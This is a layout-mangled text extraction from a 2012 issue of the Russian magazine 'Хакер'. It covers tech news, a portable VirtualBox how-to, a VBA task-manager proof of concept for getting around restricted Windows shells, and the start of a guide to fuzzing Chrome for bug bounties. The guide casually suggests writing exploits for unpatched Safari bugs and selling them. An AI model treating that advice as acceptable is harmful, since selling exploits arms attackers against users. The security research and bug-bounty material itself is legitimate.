MEGANEWSСПЕЦИАЛИСТЫ «ДОКТОР ВЕБ» обнаружили 33 троянца из семейства Android.SmsSend в Android Market.LINUX MINT 12ВЫШЛА НОВАЯ ВЕРСИЯ ПОПУЛЯРНОЙ LINUX-СБОРКИНапомним, чтоMint выпускаетсяв 32-битной и 64-битной версиях дляx86-систем и имеетвесьма скромныесистемные требования:512 МБ памяти(рекомендуется 1ГБ), 5 Гб дисковогопространства и графическийадаптер,поддерживающийминимальное разрешение800x600пикселей. ДистрибутивLinux Mint 12 тынайдешь на диске.оманда проекта Linux Mint выпустила новую версию своей бесплатнойсборки, которая в последнее время обогнала по популярности дажеКнезабвенную Ubuntu.Linux Mint 12, основанный на Ubuntu 11.10 и получивший кодовое имя Lisa,может похвастаться новым рабочим столом на базе Gnome 3, в который быливнесены некоторые дополнения. Кроме того, он поставляется с форком болеестарой оболочки Gnome 2, адаптированной для совместной работы с Gnome 3.К другим улучшениям относится обновленный внешний вид с двумя новымитемами и новыми художественными работами. Найти новую версию можно какна сайте Mint Linux (linuxmint.com), так и на нашем диске :).Кстати, нельзя не упомянуть, что Linux Mint недавно привлек пристальноевнимание СМИ, так как, по данным Linux DistroWatch, количество пользователей,загрузивших Linux Mint, стремительно выросло. Вероятнее всего, причинойэтому стал новый пользовательский интерфейс Unity, который недавнозаменил в Ubuntu популярные среды Gnome и KDE. Он ориентирован на новыеформ-факторы, такие как планшетные компьютеры, а не на традиционныенастольные ПК.Так или иначе, но в Gnome пошли тем же путем при разработке Gnome 3,в результате чего команда Linux Mint была вынуждена развивать Mint GnomeShell Extensions для Linux Mint 12 и предложить более привычный рабочий столс меню приложений, списком окон и треем для иконок используемых в данныймомент приложений.HDCP ВСЁ-ТАКИДОЛОМАЛИКОМПАНИЯ INTEL ОКАЗАЛАСЬ НЕПРАВА —АППАРАТНОЕ РЕШЕНИЕ ДЛЯ «ВСКРЫТИЯ» HDCPСОЗДАНОрошлой осенью мы уже рассказывали, что системазащиты HDCP, разработанная компаниейПIntel для шифрования видео- и аудиоданных,передаваемых по интерфейсу HDMI, дала слабину.В сети тогда был опубликован мастер-ключ HDCP,однако компания Intel отреагировала на это спокойно.В Intel заявили, что защита вовсе не потеряла своейэффективности, так как производство HDCP-чиповс подобным ключом — достаточно трудоемкая и затратнаязадача. Проще говоря, Intel намекнула, что такоеаппаратное решение всё равно никто не создаст. Чутьбольше года спустя ученые из Рурского университетав Бохуме (Германия) доказали, что Intel была неправа. :)Немцы постарались упростить задачу и придумали, какиспользовать для обхода защиты достаточно недорогуюплату Digilent Atlys с программируемой вентильнойматрицей (FPGA), поддерживающую HDMI и RS232 дляперепрограммирования. Стоимость всех необходимыхкомпонентов составила всего около $200. Подробныерезультаты своих изысканий ученые обнародовалина конференции по вопросам информационной безопасностиReConFig 2011.99 НАСТОЛЬНЫХ КОМПЬЮ-ТЕРОВ И 188 НОУТБУКОВс различными даннымибыли украдены у Министерстваобороны Великобританииили утеряны за последниеполтора года.СОГЛАСНО ДАННЫМ КОМПА-НИИ COMSCORE, пользователив возрасте 12–17 летза последний год сталипользоваться электроннойпочтой на 25 % реже.ЯНДЕКС БУДЕТ УВЕДОМ-ЛЯТЬ ВЛАДЕЛЬЦЕВ САЙТОВо заражении их ресурсовпо e-mail. Ранее эта возможностьбыла доступна толькоюзерам Яндекс.Вебмастер.В РЕЗУЛЬТАТЕ СБОЯ, произошедшегов ходе обновленияпортала госуслуг, 1 500деклараций дошли до ФНСв нечитаемом виде. Восстановлениюони не подлежат.КОМПАНИЯ INTEL ВЫПУСТИ-ЛА БОЛЕЕ 120 ИСПРАВЛЕ-НИЙ, призванных улучшитьподдержку архитектуры x86и процессоров Atom в платформеAndroid 4.0.012ХАКЕР 02 /157/ 2012


СПУСТЯ 16 ЛЕТ ПОСЛЕ ВЫХОДА QUAKE ВЛАСТИ ГЕРМАНИИ, наконец, разрешили продажу культовой игры.ПОСТРОЙ СВОЕГО РОБОТА!ДОСТУПНЫЙ КОНСТРУКТОР ОТ КОМПАНИИ EZ-ROBOTы регулярно рассказываем тебе о различных интересных наборах«сделай сам» и сегодня просто не смогли пройти мимо нового конструктораEZ-Robot Complete Kit от компании EZ-Robot. Этот срав-Мнительно недорогой набор, стоимость которого составляет $243, позволяетсоздавать достаточно много продвинутых роботов. В комплект входят беспроводныйконтроллер, при помощи которого осуществляется управление роботом,ультразвуковой датчик расстояния, три стандартных сервопривода, двасерво постоянного вращения и беспроводная камера слежения. В комплектетакже присутствуют аккумулятор, различная сервомелочевка и необходимоедля работы будущих роботов ПО (с удобным GUI, так что запрограммироватьробота сможет даже тот, кто никогда вообще ничего не программировал). Программноеобеспечение также позволяет распознавать речь, мимику и лица,жесты, цвета и даже некоторые символы. Через HTTP-веб-сервер можноконтролировать робота удаленно, посредством iPhone, Android или другого ПК.Пожалуй, создатели не включили в комплект только основу — корпус, в которыйпомещается вся «начинка». С другой стороны, это лишняя возможностьпроявить фантазию.PHOENIX TECHNOLOGIES ГОТОВИТСЯ К ВЫХОДУ WINDOWS 8Роботы, способныераспознавать речь,следить за объектом,интегрируемыев iRobot Roombaи к тому же продаваемыепо такойсмешной цене,настолько приглянулисьпокупателям,что все наборы разобралибуквальноза несколько дней,и теперь конструкторанет в наличиина ez-robot.com.В SCT 2.2 ДОБАВИЛИБОЛЕЕ 60 НОВЫХФУНКЦИЙ, ПОВЫШАЮЩИХПРОИЗВОДИТЕЛЬНОСТЬИ БЕЗОПАСНОСТЬ,УЛУЧШАЮЩИХ СРЕДСТВАПОДКЛЮЧЕНИЯ И Т. Д.ИТОГИ «ПРЕМИИ РУНЕТА»СОСТОЯЛАСЬ VIII ТОРЖЕСТВЕННАЯ ЦЕРЕМОНИЯВРУЧЕНИЯ ПРЕМИИ РУНЕТАИтак, подведены итоги конкурса на присуждениеПремии Рунета — 2011 (premiaruneta.ru).VIII церемония поставила своеобразный рекорд:было вручено 35 статуэток. По традиции первыми былиназваны лауреаты в номинации «Государство и общество».Из рук Игоря Щёголева награду получили:• АНО «Модернизация» (проект i-Russia.ru);• банк ВТБ (проект «ВТБ — России» — www.vtbrussia.ru);• Российское агентство правовой и судебной информации— РАПСИ (www.infosud.ru).Специальная награда была также вручена компании «Ростелеком»за проект «Госуслуги».Победителями в специальной номинации «БезопасныйРунет», учреждённой Лигой безопасного интернета, стали:• компания Google (проект «Справочник по детскойбезопасности в интернете»);• Фонд Развития Интернет (проект «Дети онлайн»);• Центр анализа интернет-ресурсов (www.NetPolice.ru).Награды в номинации «За вклад в развитие домена рф»удостоились:• проект «Суперсадовник.рф»;• БольшоеПравительство.рф;• портал для детей и подростков «Вектор-успеха.рф».В номинации «Культура и массовые коммуникации» победителямистали:• интернет-СМИ «Частный корреспондент» (chaskor.ru);• агентство гражданской журналистики «Ридус»;• ЗАО «Сейчас» (интернет-проект www.NOW.ru);• Российская газета (rg.ru).Тройка лучших в номинации «Стартапы года»:• проект «Карамба-ТВ» (caramba.tv);• проект «Будист.ру» (www.budist.ru);• проект «Налогия» (www.nalogia.ru).Лауреатами в номинации «Наука и образование» стали:• Mail.ru Group (проект «Кубок Russian Code Cup»);• национальный образовательный проект «Умная-школа.рф»;• проект «Живой словарь» от портала «Грамота.ру»(gramota.tv);• социальная сеть читателей книг LiveLib.ru.В номинации «Здоровье и отдых» победили:• система онлайн-бронирования OZON.travel;• международная сеть доставки цветов AMF.ru;• портал о здоровье и медицине «ВитаПортал» (vitaportal.ru).Специальной «спортивной» номинацией компании «Ростелеком»отмечен проект «СпортБокс».В ходе церемонии была официально завершена всероссийскаяонлайн-акция «Народное голосование Премии Рунета— 2011». Звание «Народного лидера» в итоге разделилисразу два проекта: «Легенда: Наследие Драконов» и Worldof Tanks. Всех десятерых победителей, которым досталосьэто звание, можно найти на сайте narod.premiaruneta.ru.Лауреатами в номинации «Экономика и Бизнес» признаны:• компания «1С-Битрикс» (проект «Корпоративный портал»);• биржа удаленной работы Free-lance.ru;• деловой портал BFM.ru.Статуэтки в номинации «Технологии и инновации» получили:• интернет-супермаркет программного обеспечения«Софткей» (SoftKey.ru);• компания «Вымпелком» (Билайн);• проект «Хабрахабр» (habrahabr.ru);• социальная сеть «Одноклассники»;• компания «Ростелеком».ХАКЕР 02 /157/ 2012 013


MEGANEWSХАКЕРЫ ПОХИТИЛИ ДАННЫЕ О 13,2 МИЛЛИОНАХ пользователей игры Maple Story. Инцидент произошел в Южной Корее.ЕЩЕ ОДНА УЯЗВИМОСТЬ 0DAYНАЙДЕНА В ПРОДУКТАХ ADOBEХАКЕРЫ УЖЕ ИСПОЛЬЗУЮТ ЕЕ В СВОИХ ЦЕЛЯХAdobe обозначилауязвимость как«U3D memorycorruptionvulnerability».U3D представляетсобой технологиюUniversal 3D и файловыйформат дляхранения трехмерныхграфическихданных. Уязвимостьзаключается в том,что в PDF-документможно внедритьвредоносный U3Dконтент,исполнениекоторого в системевызывает переполнениебуфера.х уж эти многострадальные Adobe Reader и Acrobat! Порой складываетсяощущение, что они состоят из дыр и багов чуть болееПчем полностью. Компания Adobe Systems подтвердила наличиенезакрытой критической уязвимости в упомянутом выше ПО. Дыра обнаруженав Adobe Reader X (версии 10.1.1 и ниже) для Windows и Macintosh,Adobe Reader 9.4.6 для Unix, а также в Adobe Acrobat X (до версии 10.1.1включительно) для Windows и Macintosh. Из-за этой уязвимости могутпадать программы, кроме того, она потенциально позволяет хакеру получитьконтроль над системой. Известно также, что киберпреступники ужевзяли на вооружение новую 0day. По заявлениям Adobe, дырка используетсяв ходе ограниченных целевых атак. В качестве целей, вероятно,выбраны военные подрядчики США: изначально Adobe заявила, что обуязвимости сообщили группы реагирования в Lockheed Martin и MITRE.Чуть позже компания изменила «показания», и стала утверждать, чтоинформация об уязвимости поступила не от MITRE, а от Defense SecurityInformation Exchange — группы военных подрядчиков, которые обмениваютсяразведывательными данными по киберугрозам. Патчи для Readerи Acrobat 9 уже вышли, а вот исправлений для Reader и Acrobat 10 (а такжедля версий под Mac OS X и Unix) можно ждать только в конце января.СКАЖЕМ «НЕТ!» GOOGLEИ BINGО P2P-ПОИСКОВИКЕ YACYПосле пяти лет работы в поте лица активисты движенияза свободное ПО представили миру свой новый проект:распределенную поисковую систему YaCy (yacy.net), котораяв перспективе должна составить конкуренцию Google, Yahoo, Bingи прочим коммерческим поисковикам. Основная фишка новогосервиса в том, что он работает по принципу P2P, то есть за хранениепоискового индекса и обработку поисковых запросов YaCy отвечаетне центральный сервер, а сеть независимых участников, на компьютерахкоторых работает одноименная программа. Никто из участниковсети не может повлиять на результаты, которые выдаютсяпо запросу пользователя, или на порядок их отображения на странице.В сеть Freeworld может войти любой желающий, установившийПО под GNU/Linux, Windows или MacOS. По сути, YaCy — этосвоего рода аналог свободной социальной сети Diaspora, котораяпозиционируется как альтернатива закрытым централизованнымсетям Facebook, Google+ и т. п. P2P-сеть и открытый код гарантируютустойчивость поисковика и защищают его от цензуры. На каждомузле создается собственная база поисковых индексов, а протоколпредусматривает возможность обмена базами с другими узлами. АвторыYaCy считают, что важнейшую задачу поиска в интернете нельзядоверять нескольким крупным компаниям, так как это угрожаетконфиденциальности пользователей. Поддержку YaCy осуществляеторганизация Free Software Foundation Europe (FSFE).НАЧАТЫ ПОСТАВКИ НОВОЙ ЭЛЕКТРОННОЙ КНИГИ WEXLER.BOOK T7005 С 7-ДЮЙМОВЫМ сенсорным экраном и LEDподсветкойдля комфортного чтения. Устройство оснащеновстроенной памятью 8 ГБ (можно расширить до 32 ГБс помощью карт MicroSD) и мощным аккумулятором 2800мА ч. Новинка поддерживает самые популярные форматыэлектронных книг, видео, аудио и изображений. Отдельно стоитотметить поддержку формата DOC. Важным достоинствомтакже является наличие ТВ-выхода, благодаря которомуможно подключить WEXLER.BOOK T7005 прямо к ТВ. Книгапозволяет передавать на внешние устройства звук и изображениекачеством до 720p. Для удобства пользователейновинка оснащена датчиком пространственного положения— G-сенсором. Ориентировочная розничная цена устройства— 3 990 рублей.GOOGLE СООБЩАЕТ, ЧТОКОЛИЧЕСТВО СКАЧИВАНИЙна Android Market достиглодесяти миллиардов. Каждыймесяц в Market совершаетсяпорядка одного миллиардапокупок.NOKIA И ИНТЕРНЕТ-ХОЛДИНГMAIL.RU GROUP ВЫПУСТИЛИСОБСТВЕННЫЙ БРАУЗЕР.Новинкой планируется оснастить27 моделей телефоновNokia на платформе Series 40.014ХАКЕР 02 /157/ 2012


26 % СПЕЦИАЛИСТОВ ПО БЕЗОПАСНОСТИ просматривают конфиденциальные данные, к которым у них вообще не должно быть доступа.WEBOS СТАНОВИТСЯ ОТКРЫТЫМ ПРОЕКТОМКОМПАНИЯ HP ПРИНЯЛА РЕШЕНИЕ ОТНОСИТЕЛЬНО БУДУЩЕГО МОБИЛЬНОЙ ПЛАТФОРМЫапомним, что компания HP не так давно отказалась от дальнейшегоразвития всего своего мобильного подразделения.НОднако окончательный вердикт о судьбе операционнойсистемы webOS тогда озвучен не был, что, конечно же, породиломножество слухов и теорий. В частности, предполагалось, что webOSбудет куплена компанией Amazon или Oracle. Также напомним, чтовпервые эта мобильная платформа была представлена компаниейPalm в качестве замены устаревшей Palm OS. В свою очередь, в первойполовине 2010 года компания Palm была приобретена HP за 1,2млрд долларов.Но вернемся к webOS. В середине декабря Hewlett-Packardнаконец-то объявила о своем решении. Компания откроет исходныйкод webOS и объединит усилия с сообществом разработчиков опенсорса,которые не будут платить за это никаких отчислений HP. Возможно,благодаря этому решению проект получит новое воплощения и заживет,наконец, нормальной жизнью. В общем-то, по аналогичной схемесейчас распространяется система Android. Примечательно, правда,что тип лицензии, на условиях которой будут распространяться открытыеисходники webOS, — GPL, BSD или излюбленный Microsoftмеханизм Shared Source — в соответствующем пресс-релизе не оговариваетсявовсе. Как заявила в интервью для TechCrunch генеральныйдиректор HP Мег Уитмен, компания также не исключает, что в дальнейшемзаймется производством новых планшетов под управлениемwebOS. По ее мнению, это может произойти в 2013 году, так как в 2012-мHP делает упор на устройства под управлением Windows 8.В то же время, в середине декабря, Hewlett-Packard устроилазапланированную распродажу оставшихся планшетов TouchPad.Аттракцион невиданной щедрости проводился на аукционе eBay,в секции для отремонтированных товаров и товаров со скидкой. Компаниядействительно предлагала устройства, прошедшие процедурувосстановления, то есть не новые изделия, а, например, когда-товозвращенные потребителями (зачастую в нераспакованном виде)В ближайшембудущем HP обещаетпредставить широкойобщественностиобновленную платформуENYO для разработкиприложений под webOS.или из демонстрационных залов магазинов. В одни руки отпускалосьтолько по два устройства. Девайсы расходились с ошеломляющейскоростью. Планшеты HP TouchPad с 16 Гбайт встроенной памяти,предлагаемые по цене $99, закончились уже через 15 минут. TouchPadс 32 Гб встроенной памяти стоимостью $149 продавались немногодольше, но, по свидетельству ритейлера, распродажа планшетовзавершилась через 25 минут после старта. Всего было реализовано7850 TouchPad. Единственное, что неизвестно, — как продавались аксессуарыв комплекте (чехол, зарядная док-станция и беспроводнаяклавиатура), цена которого составляла $79. Ажиотаж вокруг распродажибыл так велик, что в работе eBay произошел сбой, а в платежномсервисе PayPal наблюдались задержки с прохождением транзакций.Инсайдеры утверждают, что изначально остаток TouchPad планировалиреализовать среди сотрудников HP, но затем компания по неизвестнымпричинам изменила свои планы.ЗАКОНЧИЛСЯ КОНТЕСТ ПО ПОИСКУ УЯЗВИМОСТЕЙ В ЯНДЕКСЕОРГАНИЗАТОРЫ ХОТЕЛИ ОГРА-НИЧИТЬСЯ ОДНИМ ПРИЗОВЫММЕСТОМ С НАГРАДОЙ $5000, НО,ТАК КАК ДЫР БЫЛО ОБНАРУЖЕ-НО МНОГО, ПРИШЛОСЬ ВВЕСТИВТОРОЕ И ТРЕТЬЕ МЕСТОХАКЕР 02 /157/ 2012 015


HEADERКОЛОНКА СТЁПЫ ИЛЬИНАВИРТУАЛЬНАЯ МАШИНАНА ФЛЕШКЕесмотря на то, что я все больше использую разные онлайнсервисыдля решения многих задач, на флешке у меня всегдаНесть набор незаменимых portable-приложений, которые запускаютсябез установки на любом компьютере. Разработчики сами частовыкладывают портабельные версии своих продуктов. Но если даже нет,то за них это зачастую делают энтузиасты (portableapps.com/ru). В концеконцов, сейчас уже каждый может скачать замечательную утилитуCameyo (www.cameyo.com) и сделать portable-версию практическилюбого приложения. Цель достигается за счет так называемой виртуализации:приложение помещается в специальный контейнер, в которомэмулируется нужные для его работы ветки реестра, файлы на диске ит. д. Где бы оно ни запускалось, для него всегда будут созданы такиетепличные условия :). Увы, виртуализировать таким образом можнодалеко не всё. Когда мне кровь из носа понадобилась портабельнаявиртуальна машина, на которой можно было бы запускать гостевыеОС, оказалось, что VirtualBox под Cameyo не работает. На официальномсайте подходящей версии виртуальной машины не было, однако нафоруме я нашел ссылочку на интересный проект — Portable-VirtualBox(www.vbox.me).Цель разработки — заставить VirtualBox работать без установкии запускаться откуда угодно, например с USB-носителя. Интересно,что утилита полностью написана на скриптах AutoIt (все исходникиоткрыто лежат в bit.ly/rQ0n7Z), но из-за этого, правда, и выглядит неочень изящно. Но главное-то — результат. Итак, скачиваем приложение(у меня это Portable-VirtualBox_v4.1.6-Starter_v6.4.8-Win_all.exe) изапускаем его — программа предложит выбрать путь для распаковки.После этого можно запустить Portable-VirtualBox.exe. Все настройкивыставляются автоматически, исправлять что-то вручную (например,пути) не требуется. Появившееся окно — это так называемый лончер.Он появляется один раз и предназначен для загрузки последнего дистрибутиваVirtualBox и извлечения оттуда нужных файлов. Интересно,что на этом этапе файлы можно еще и особым образом упаковать, чтобыони занимали меньше места на USB-флешке (хотя при нынешнихразмерах флешек это едва ли актуально). Жмем на кнопку «Downloadinstallation files of VirtualBox», выбираем разрядность системы (например,«Extract the files for 32-Bit system») и ждем, пока лончер сделаетвсе свое дело. Чтобы установщик адаптировал пути под систему(поправил нужные параметры в конфиге VirtualBox.xml), бинарникPortable-VirtualBox.exe нужно запустить еще раз. Вуаля — у нас в распоряженииесть полноценная VirtualBox. Без какой-либо установки всистему.В трее появится иконка VirtualBox, с помощью которой можноуправлять виртуальной машиной и дополнительно настраивать ее. Вгостевых ОС по умолчанию работает и USB, и сеть. Но чтобы выпуститьгостевую ОС во внешнюю сеть (инет), придется провести некоторыедополнительные манипуляции. В трее надо выбрать «Settings Network» и включить опцию «Start VirtualBox with network support».Далее нужно перезапустить Portable-VirtualBox и согласиться на установкудрайвера. Процесс организован так, что при завершении работыс виртуальной машиной всё, что было установлено в систему, удаляется.Файлы гостевой ОС разумно разместить прямо на флешке вместе сVirtualBox. У меня эта система одна, поэтому ее можно запускать сразу,без дополнительных манипуляций, указав в параметрах ее имя:Portable-VirtualBox.exe "leopard"Учитывая, что виртуальная машина всегда находится не в выключенномсостоянии, а в режиме «Save the state», ее запуск происходиточень быстро. Поэтому она всегда готова к работе без лишнего геморроя.И где угодно. zНастройка portable-версии виртуальной машиныVirtualBox работает без установки016ХАКЕР 02 /157/ 2012


Proof-of-ConceptМЕНЕДЖЕР ЗАДАЧ НА EXCELНа кой черт может понадобиться таск-менеджер, реализованный стандартными средствами Excel?Хороший вопрос. Известному специалисту по информационной безопасности Дидье Стивенсупришлось сделать подобную штуку, когда он столкнулся с системой, в которой было запрещенобуквально всё. Взаимодействие с ОС осуществлялось через специальную оболочку, препятствующуюзапуску большинства приложений, в том числе и стандартного таск-менеджера (через которыйее легко можно было бы отрубить), да и локальные политики ограничивали его использование.Увидев, что Excel входит в число разрешенных для запуска приложений, Дидье подумал, почему быне задействовать встроенные в Office VBA-макросы, чтобы управлять запущенными процессами всистеме? Подумал-подумал и сделал полноценный таск-менеджер.КАК ЭТО ВЫГЛЯДИТ?PoC представляет собой обычный Excelфайл— TaskManager.xls. Идея проста: если всистеме ограничен запуск таск-менеджера,но при этом есть возможность открыватьExcel-таблицы с макросами, то управлятьпроцессами можно через несложный макрос,реализованный на VBA (Visual Basic дляприложений). Открыв файл, ты увидишь двекнопки: List processes (Отобразить процессы) иExecute commands (Выполнить команду). Собственно,жмем первую и видим, как таблицабыстро заполняется информацией о процессах(название исполняемого файла, ID процесса,путь к бинарнику, пользователя, под которымзапущен процесс, время создания процесса, атакже разрядность —32 или 64 бита). Любойиз процессов можно выгрузить, приостановитьи, соответственно, возобновить. Для этого вTaskManager.xls в действииколонке Command напротив процесса надопоставить флаг нужной команды (например,терминейту процесса соответствует буква t) инажать на кнопку Execute commands. Получаетсяреально полезная штука. Тут даже не надофантазировать по поводу пентеста и ограниченныхокружений, чтобы представить, зачемона может понадобиться. Вспомни хотя быwinlocker'ы — любая подобная дрянь блокируетзапуск таск-менеджера.КАК ЭТО РАБОТАЕТ?Все макросы полностью написаны на чистомVBA. Для манипуляции с процессами вызываютсяWIN32-функции из соответствующихсистемных библиотек. Нужные функциивначале объявляются путем подгружения изDLL, которое осуществляется примерно такимобразом:Простейший код на VBA позволяет с легкостью управлятьпроцессами в системеPrivate Declare Function OpenProcess Lib"kernel32.dll" (ByVal dwDesiredAccessasAs Long, ByVal bInheritHandle AsBoolean, ByVal dwProcId As Long) As LongПосле этого их можно использовать безограничений. К примеру, следующая функциявыгружает процесс из памяти:Private Sub TerminateProcessByID(ByVal lProcessID As Long)hProcess = OpenProcess(PROCESS_TERMINATE, 0, lProcessID)If hProcess 0 ThenTerminateProcess hProcess, 0CloseHandle hProcessEnd IfEnd SubПоследняя версия TaskManager.xls работаеткак в 32-, так в 62-битных системах, отличносебя чувствует в любых Офисах (вплоть до64-битной версии Office 2010) и имеет цифровуюподпись.Бери на вооружение линк для загрузки:blog.didierstevens.com/2011/11/30/signedtaskmanager.Остается только сказать Дидьеспасибо за классный PoC, который многим навернякапригодится для решения конкретныхзадач. zХАКЕР 02 /157/ 2012 017


COVERSTORY000, 00spersky LabАртур Геркис (twitter.com/ax330d, onsec.ru)Охотана жуковв GoogleChromeWWWbit.ly/rpBAH9 —список инициатив,где можно получитькеш за уязвимости;caniuse.com— таблицавозможностейбраузеров;bit.ly/taDA7s —историческаяновость от Netscape;bit.ly/alUyof — Hallof Fame;bit.ly/kyBEkv —проект ASan;bit.ly/oJnrhP —исследовательскаяработа «How OpenShould Open SourceBe?»;bit.ly/uQywEh —интересная работа«Grammar-BasedInterpreter FuzzTesting».WWWНа нашем диске тынайдешь скриптсборки Chrome,а также всеперечисленныев статье публичныефаззеры.РУКОВОДСТВОПО ЗАРАБОТКУНА ПЕНТЕСТЕПОПУЛЯРНОГОВЕБ-БРАУЗЕРАСегодня существует немало различныхпрограмм bug bounty, с помощью которыхможно неплохо заработать на поискеуязвимостей в софте с открытымиисходниками. В браузерном мире самаNetscape инициировала это движениеуже в далеком 1995 году, а затем Mozillaи Google подхватили тенденцию. Прямосейчас я научу тебя, как выжать баксыиз Google Chrome.018ХАКЕР 02 /157/ 2012


Охота на жуков в Google ChromeФаззим браузер собственной сборкиОБ ИНИЦИАТИВЕ GOOGLEПрежде чем хвататься за поиск багов и написаниеотчетов, с моей стороны было бы корректнорассказать читателю, с чем мы имеем дело.А дело мы имеем с Google Vulnerability RewardProgram. В рамках этой программы корпорациядобра предлагает денежное вознаграждениевсем, кто желает помочь проекту GoogleChrome в повышении уровня безопасности. Приэтом можно не только получить деньги, но и засветитьсяв списке Hall of Fame, куда включаютвсех исследователей, которые так или иначепомогли в исправлении багов. Чтобы попастьв него, вовсе не обязательно претендоватьна кеш, достаточно быть искренне заинтересованнымв оказании помощи, активно участвоватьв проекте и положительно себя проявить.Эта программа, запущенная в январе 2010года, изначально предусматривала три уровнявознаграждения: $500, $1000 и $1337. Черезполгода в программу, отметившую миниюбилей,были внесены изменения, в том числеи введен четвертый уровень вознаграждения— теперь за обнаружение критического багадают $3133,7, а за отчет хорошего качества —$1000 (что это за отчет, ты узнаешь, прочитавстатью до конца).Лидером команды безопасников Chromeявляется небезызвестный исследовательChris Evans. Вместе с Adam Mein он и раздаеткеш налево и направо. Первым человеком,которому выплатили сумму, соответствующуюновому «элитному» уровню, стал Сергей Глазунов,нашедший уязвимость «Browser crash inHTML5 speech UI» (crbug.com/68666). Правда,не всегда стоит рассчитывать на получениезаявленной суммы. Вознаграждение можетоказаться и больше :). Например, недавночеловеку под ником wushi из команды team509выплатили не 500, а 509 долларов за найденнуюуязвимость просто ради шутки, из-за символичногоназвания. Так что ребята в Googleтоже не без юмора.В зависимости от типа приложения и еголицензии применяются разные методы поискауязвимостей. Но браузер с открытымиисходниками предоставляет нам возможностьпользоваться абсолютно всеми доступнымиметодами, что увеличивает шансы обнаружитьбаг. В данном случае я считаю целесообразнымприбегнуть как минимум к следующим методампоиска уязвимостей: фаззинг, изучение исходников,бинарный анализ, «переоткрытие» багов,ручной поиск с тестированием. ПоследниеСТАТИСТИКА HALL OF FAMEНа сегодняшний день на страницеGoogle Security Hall of Fame висит длинныйи регулярно пополняющийся список хакеров.Но обычно там можно встретить одних и техже известных багхантеров, всего около 60человек (включая исследовательские группыи компании). За всё время существованияинициативы было выплачено порядка 270тысяч долларов!два метода могут смутить своими названиями,однако далее мы подробно поговорим о них.ФАЗЗИНГДумаю, понятие фаззинга всем известно,поэтому не буду повторяться, а лишь опишунекоторые моменты, касающиеся браузеров.Здесь, прежде всего, следует помнить о том,что не ты один ищешь уязвимости — я смелопредположу, что это делают тысячи людейпо всему миру с помощью компьютеров и такназываемых фаззинговых ферм. Так что этосамая настоящая гонка! И чтобы не отставатьот других, твоя программа-фаззер должна обладатьследующими свойствами:• оригинальностью;• высокой скоростью работы (количествоуникальных тестов в единицу времени);• способностью воспроизведения крашей(логирование).Под оригинальностью я в первую очередьподразумеваю какие-либо особенности, отличающиетвой фаззер от тех, которые находятсяв публичном доступе. Таким образом, лучшенаписать свой собственный фаззер, хотя,конечно, можно взять и любой доступный,но его необходимо модифицировать так, чтобыон мог генерировать уникальные тест-кейсы.Как ты понимаешь, нет никакого смысла в том,чтобы всем дружно фаззить одни и те же баги.Да, можно найти какой-нибудь всеми забытыйфаззер и использовать его. Но много ли будетпроку от инструмента, которым по какой-топричине никто не пользуется?ХАКЕР 02 /157/ 2012 019


COVERSTORYДополнительный вклад в оригинальностьвносит выбор исследуемого компонента.Практически любой современный браузерпредставляет из себя этакий мультимегакомбайн— чего туда только не понапихано, чтобыусладить нежную душу веб-разработчика илидизайнера. Ни один вендор также не хочет отставатьв гонке на соответствие требованиямW3C, теряя из-за этого некоторую долю рынка,поэтому вендоры стремятся реализовыватьв своих творениях абсолютно все современныефичи. Тут еще, конечно же, встает вопросвыбора между скоростью внедрения и ценойза эту скорость. Как говорится, поспешишь— людей насмешишь. В нашем случае жепоспешишь — багхантеров накормишь. :-)К таким фичам относятся CSS 3, HTML 5, DOM,SVG, Canvas, Audio/Video, WebGL, Drag'n'Drop,всякие хранилища и прочее и прочее. Что касаетсясамого Chrome, то там есть и собственныеразработки, например формат картинокWebP.ИЗУЧЕНИЕ ИСХОДНИКОВВ случае с опенсорсными браузерами можнополучить исходники и искать уязвимостинепосредственно в миллионах строк кода,перебирая всё подряд, или же целенаправленноисследовать какой-либо компонент,допустим XML-парсер. Однако этот методболее трудоемкий, чем фаззинг. Тут нужныусидчивость и желание рыться в исходникахчасами напролет, а также уверенные знанияC++ (их уровень должен быть не ниже, чем у техребят, которые пишут данный браузер). Я быне слишком надеялся, что в коде удастся найтикакие-либо опечатки или недочеты, хотя и этоне исключено. К тому же где гарантия того,что тебя, после того как ты потратишь месяцна копание в коде, за пять минут не обойдетчей-нибудь фаззер, написанный на коленкеза пару часов? Если уж на то пошло, то процессбыло бы неплохо автоматизировать с помощьюиспользования статических анализаторовкода, а только лишь после этого подключатьголову. Но ознакомление с исходниками в любомслучае не повредит.ПЕРЕОТКРЫТИЕ БАГОВЧто значит «переоткрытие багов»? Оченьпросто — листаем старые уязвимости и проверяем,насколько хорошо они исправлены.Например, уязвимость в Mozilla Firefoxс идентификатором CVE-2010-0179, позволяющаявыполнять произвольный код в Firebug,была переоткрыта, после чего ей присвоилиеще и идентификатор CVE-2010-3773. Да,хоть и редко, но такое бывает — уязвимости,которую разработчик плохо исправил, присваиваютеще один идентификатор. Несмотряна то, что таким способом много уязвимостейне найдешь, анализ старых багов помогает понять,где разработчики чаще всего ошибаютсяи на чем следует заострять внимание. К томуже этот способ позволяет попрактиковатьсяв изучении уязвимостей на реальных примерахв исходниках. На баг-трекерах Mozilla и Webkitполным-полно описаний уязвимостей какот разработчиков, так и от ZDI, так что оченьсоветую туда заглянуть. Лично я регулярнопосещаю эти злачные места.К методам реинкарнации жуков относитсяисследование баг-трекера или чейнджлогаи поиск еще не исправленных уязвимостейв различных браузерах. Несмотря на то чтобаги, которые были признаны критическимис точки зрения безопасности, обычно закрываютот публичного доступа, и тикет получаетстатус public только после выхода патча,всегда существует вероятность найти нечтоинтересное. К Chrome, конечно, это относитсяв меньшей степени, так как команда его разработчиковочень быстро реагирует на обнаруженныеошибки и исправляет их. Другое делоSafari — они подолгу тянут с исправлениями,и поэтому есть шанс в определенный промежутоквремени найти уязвимость, написатьсплойт и продать его.БИНАРНЫЙ АНАЛИЗ И РУЧНОЙ ПОИСКБинарный анализ имеет свои преимуществадаже при наличии исходников, несмотряна всю его сложность. Уровень исходникови бинарь — это два совершенно разныхмира. В первом случае мы оперируем болееабстрактными понятиями, а во втором — ужеконкретными вещами. Программист пишеткод в соответствии со своими представлениямио том, как он должен работать, а хакерывидят, как код работает в действительности.Конечно, попытка проследить логику работыкакого-либо куска кода в ассемблере, имеяна руках исходники, не оправдывает себя.Здесь имеет смысл обращать вниманиена такие низкоуровневые процессы, какчтение из определенных участков памятиили запись в них. К тому же для оптимизациипрограммы компиляторы могут менять кодне предусмотренным программистом образом.В общем, то, что ты видишь, — это не то, чтобудет исполняться. Конечно, так или иначепридется делать бинарный анализ, но тут всёуже зависит от того, как ты ищешь уязвимостии, соответственно, с какой целью 